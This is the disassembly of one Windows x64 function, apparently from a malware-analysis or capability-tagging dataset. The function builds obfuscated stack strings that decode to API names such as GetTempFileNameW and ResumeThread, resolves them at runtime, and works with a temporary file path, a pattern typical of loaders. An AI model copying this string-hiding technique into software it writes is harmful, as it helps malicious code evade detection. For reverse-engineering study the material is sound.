Function at 0x2b36953a0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x718
xor ebx, ebx
mov rax, rbx
mov r14, rcx
mov ecx, 0x41
mov r12, r9
mov r15, r8
lea rdi, [rsp + 0xe0]
lea r13, [rsp + 0x2f0]
mov qword [rsp + 0x768], rdx
rep stosq qword [rdi], rax
mov ecx, 0x41
lea rdi, [rsp + 0x2f0]
mov rdx, r13
rep stosq qword [rdi], rax
mov ecx, 0x104
lea rbp, [rsp + 0x500]
lea rsi, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
movzx eax, word [0x2b3759956]
mov ecx, 3
xor r8d, r8d
mov word [rsp + 0x38], cx
movdqa xmm0, xmmword [str.OmmuxNqtmVium_vpypw__]
mov rcx, rsi
lea rdi, [rsp + 0xe0]
lea edx, [rax + 3]
movzx eax, word [0x2b3759958]
mov dword [rsp + 0x34], 0x4a004b
mov word [rsp + 0x3a], dx
movabs rdx, 0x5f6d7569566d7471
add eax, 3
mov word [rsp + 0x3e], r8w
mov word [rsp + 0x3c], ax
mov rax, qword [rsp + 0x34]
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0x3c]
mov byte [rsp + 0x90], 0
mov dword [rsp + 0xa8], eax
movzx eax, word [rsp + 0xa0]
sub eax, 3
mov word [rsp + 0xa0], ax
movzx eax, word [rsp + 0xa2]
sub eax, 3
mov word [rsp + 0xa2], ax
movzx eax, word [rsp + 0xa4]
sub eax, 3
mov word [rsp + 0xa4], ax
movzx eax, word [rsp + 0xa6]
sub eax, 3
mov word [rsp + 0xa6], ax
movzx eax, word [rsp + 0xa8]
sub eax, 3
mov word [rsp + 0xa8], ax
movabs rax, 0x4e78756d5c7c6d4f
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x508], rdx
mov rdx, rbp
mov byte [rsp + 0x510], 0
movzx eax, byte [rsp + 0x500]
sub eax, 8
mov byte [rsp + 0x500], al
movzx eax, byte [rsp + 0x501]
sub eax, 8
mov byte [rsp + 0x501], al
movzx eax, byte [rsp + 0x502]
sub eax, 8
mov byte [rsp + 0x502], al
movzx eax, byte [rsp + 0x503]
mov dword [rsp + 0x48], 0x77776f39
sub eax, 8
mov byte [rsp + 0x4c], 0
mov byte [rsp + 0x503], al
movzx eax, byte [rsp + 0x504]
sub eax, 8
mov byte [rsp + 0x504], al
movzx eax, byte [rsp + 0x505]
sub eax, 8
mov byte [rsp + 0x505], al
movzx eax, byte [rsp + 0x506]
sub eax, 8
mov byte [rsp + 0x506], al
movzx eax, byte [rsp + 0x507]
sub eax, 8
mov byte [rsp + 0x507], al
movzx eax, byte [rsp + 0x508]
sub eax, 8
mov byte [rsp + 0x508], al
movzx eax, byte [rsp + 0x509]
sub eax, 8
mov byte [rsp + 0x509], al
movzx eax, byte [rsp + 0x50a]
sub eax, 8
mov byte [rsp + 0x50a], al
movzx eax, byte [rsp + 0x50b]
sub eax, 8
mov byte [rsp + 0x50b], al
movzx eax, byte [rsp + 0x50c]
sub eax, 8
mov byte [rsp + 0x50c], al
movzx eax, byte [rsp + 0x50d]
sub eax, 8
mov byte [rsp + 0x50d], al
movzx eax, byte [rsp + 0x50e]
sub eax, 8
mov byte [rsp + 0x50e], al
movzx eax, byte [rsp + 0x50f]
sub eax, 8
mov byte [rsp + 0x50f], al
mov rax, qword [0x2b3759970]
mov qword [rsp + 0x40], rax
movabs rax, 0x3d3e7770797d7076
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xc8], 0x77776f39
mov byte [rsp + 0xcc], 0
movzx eax, byte [rsp + 0xc0]
sub eax, 0xb
mov byte [rsp + 0xc0], al
movzx eax, byte [rsp + 0xc1]
sub eax, 0xb
mov byte [rsp + 0xc1], al
movzx eax, byte [rsp + 0xc2]
sub eax, 0xb
mov byte [rsp + 0xc2], al
movzx eax, byte [rsp + 0xc3]
sub eax, 0xb
mov byte [rsp + 0xc3], al
movzx eax, byte [rsp + 0xc4]
sub eax, 0xb
mov byte [rsp + 0xc4], al
movzx eax, byte [rsp + 0xc5]
sub eax, 0xb
mov byte [rsp + 0xc5], al
movzx eax, byte [rsp + 0xc6]
sub eax, 0xb
mov byte [rsp + 0xc6], al
movzx eax, byte [rsp + 0xc7]
sub eax, 0xb
mov byte [rsp + 0xc7], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0xb
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc9]
sub eax, 0xb
mov byte [rsp + 0xc9], al
movzx eax, byte [rsp + 0xca]
sub eax, 0xb
mov byte [rsp + 0xca], al
movzx eax, byte [rsp + 0xcb]
sub eax, 0xb
mov byte [rsp + 0xcb], al
call fcn.2b3657510
mov rcx, r13
mov r9, rdi
xor r8d, r8d
lea rdx, [rsp + 0xa0]
call rax
mov r8d, dword [rsp + 0x780]
mov rdx, r12
mov rcx, rdi
call fcn.2b3694190
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
jbe 0x2b36957a0
xor r12d, r12d
mov eax, r12d
add rsp, 0x718
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, rbx
mov ecx, 0x41
mov rdi, rbp
mov rdx, rbp
rep stosq qword [rdi], rax
mov r8d, 0x104
mov rcx, r15
call fcn.2b3691500
mov edx, 0x104
mov rcx, rbp
call fcn.2b36a4510
mov r8, qword [rsp + 0x768]
mov rdx, r14
mov rcx, rsi
mov qword [rsp + 0xc0], 0
test rax, rax
mov qword [rsp + 0xc8], 0
cmovne rbx, rbp
mov qword [rsp + 0xd0], 0
mov r9, rbx
call fcn.2b368e8d0
test al, al
je 0x2b369577f
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
lea r8, [rsp + 0x28]
mov qword [rsp + 0x28], 0
call fcn.2b368ef30
mov r13, rax
test rax, rax
je 0x2b369577f
mov rcx, r12
call fcn.2b3692820
mov rcx, r12
mov r8, rsi
mov rdx, r13
xor eax, 1
movzx r9d, al
call fcn.2b36940e0
mov r12d, eax
test al, al
je 0x2b369577f
mov rax, qword [0x2b3759978]
mov byte [rsp + 0x5c], 0
lea rcx, [rsp + 0x73]
mov r13, qword [rsp + 0xc8]
mov dword [rsp + 0x58], 0x14111502
mov qword [rsp + 0x50], rax
movabs rax, 0x1824151d05031522
mov dword [rsp + 0xa0], 0x70
mov qword [rsp + 0xa4], rax
mov dword [rsp + 0xac], 0x14111502
mov byte [rsp + 0xb0], 0
movzx eax, byte [rsp + 0xa4]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xa4], al
movzx eax, byte [rsp + 0xa5]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xa5], al
movzx eax, byte [rsp + 0xa6]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xa6], al
movzx eax, byte [rsp + 0xa7]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xa7], al
movzx eax, byte [rsp + 0xa8]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xa8], al
movzx eax, byte [rsp + 0xa9]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xa9], al
movzx eax, byte [rsp + 0xaa]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xaa], al
movzx eax, byte [rsp + 0xab]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xab], al
movzx eax, byte [rsp + 0xac]
mov edx, dword [rsp + 0xa0]
mov dword [rsp + 0x68], 0x6d6d652f
mov byte [rsp + 0x6c], 0
xor eax, edx
mov byte [rsp + 0xac], al
movzx eax, byte [rsp + 0xad]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xad], al
movzx eax, byte [rsp + 0xae]
mov edx, dword [rsp + 0xa0]
xor eax, edx
mov byte [rsp + 0xae], al
movzx eax, byte [rsp + 0xaf]
mov edx, dword [rsp + 0xa0]
xor eax, edx
lea rdx, [rsp + 0xa4]
mov byte [rsp + 0xaf], al
mov rax, qword [str.lfsofm43]
mov byte [rsp + 0xb0], 0
mov qword [rsp + 0x60], rax
movabs rax, 0x33346d666f73666c
mov qword [rsp + 0x73], rax
mov dword [rsp + 0x7b], 0x6d6d652f
mov byte [rsp + 0x7f], 0
movzx eax, byte [rsp + 0x73]
sub eax, 1
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x74]
sub eax, 1
mov byte [rsp + 0x74], al
movzx eax, byte [rsp + 0x75]
sub eax, 1
mov byte [rsp + 0x75], al
movzx eax, byte [rsp + 0x76]
sub eax, 1
mov byte [rsp + 0x76], al
movzx eax, byte [rsp + 0x77]
sub eax, 1
mov byte [rsp + 0x77], al
movzx eax, byte [rsp + 0x78]
sub eax, 1
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x79]
sub eax, 1
mov byte [rsp + 0x79], al
movzx eax, byte [rsp + 0x7a]
sub eax, 1
mov byte [rsp + 0x7a], al
movzx eax, byte [rsp + 0x7b]
sub eax, 1
mov byte [rsp + 0x7b], al
movzx eax, byte [rsp + 0x7c]
sub eax, 1
mov byte [rsp + 0x7c], al
movzx eax, byte [rsp + 0x7d]
sub eax, 1
mov byte [rsp + 0x7d], al
movzx eax, byte [rsp + 0x7e]
sub eax, 1
mov byte [rsp + 0x7e], al
call fcn.2b3657510
mov rcx, r13
call rax
jmp 0x2b3695782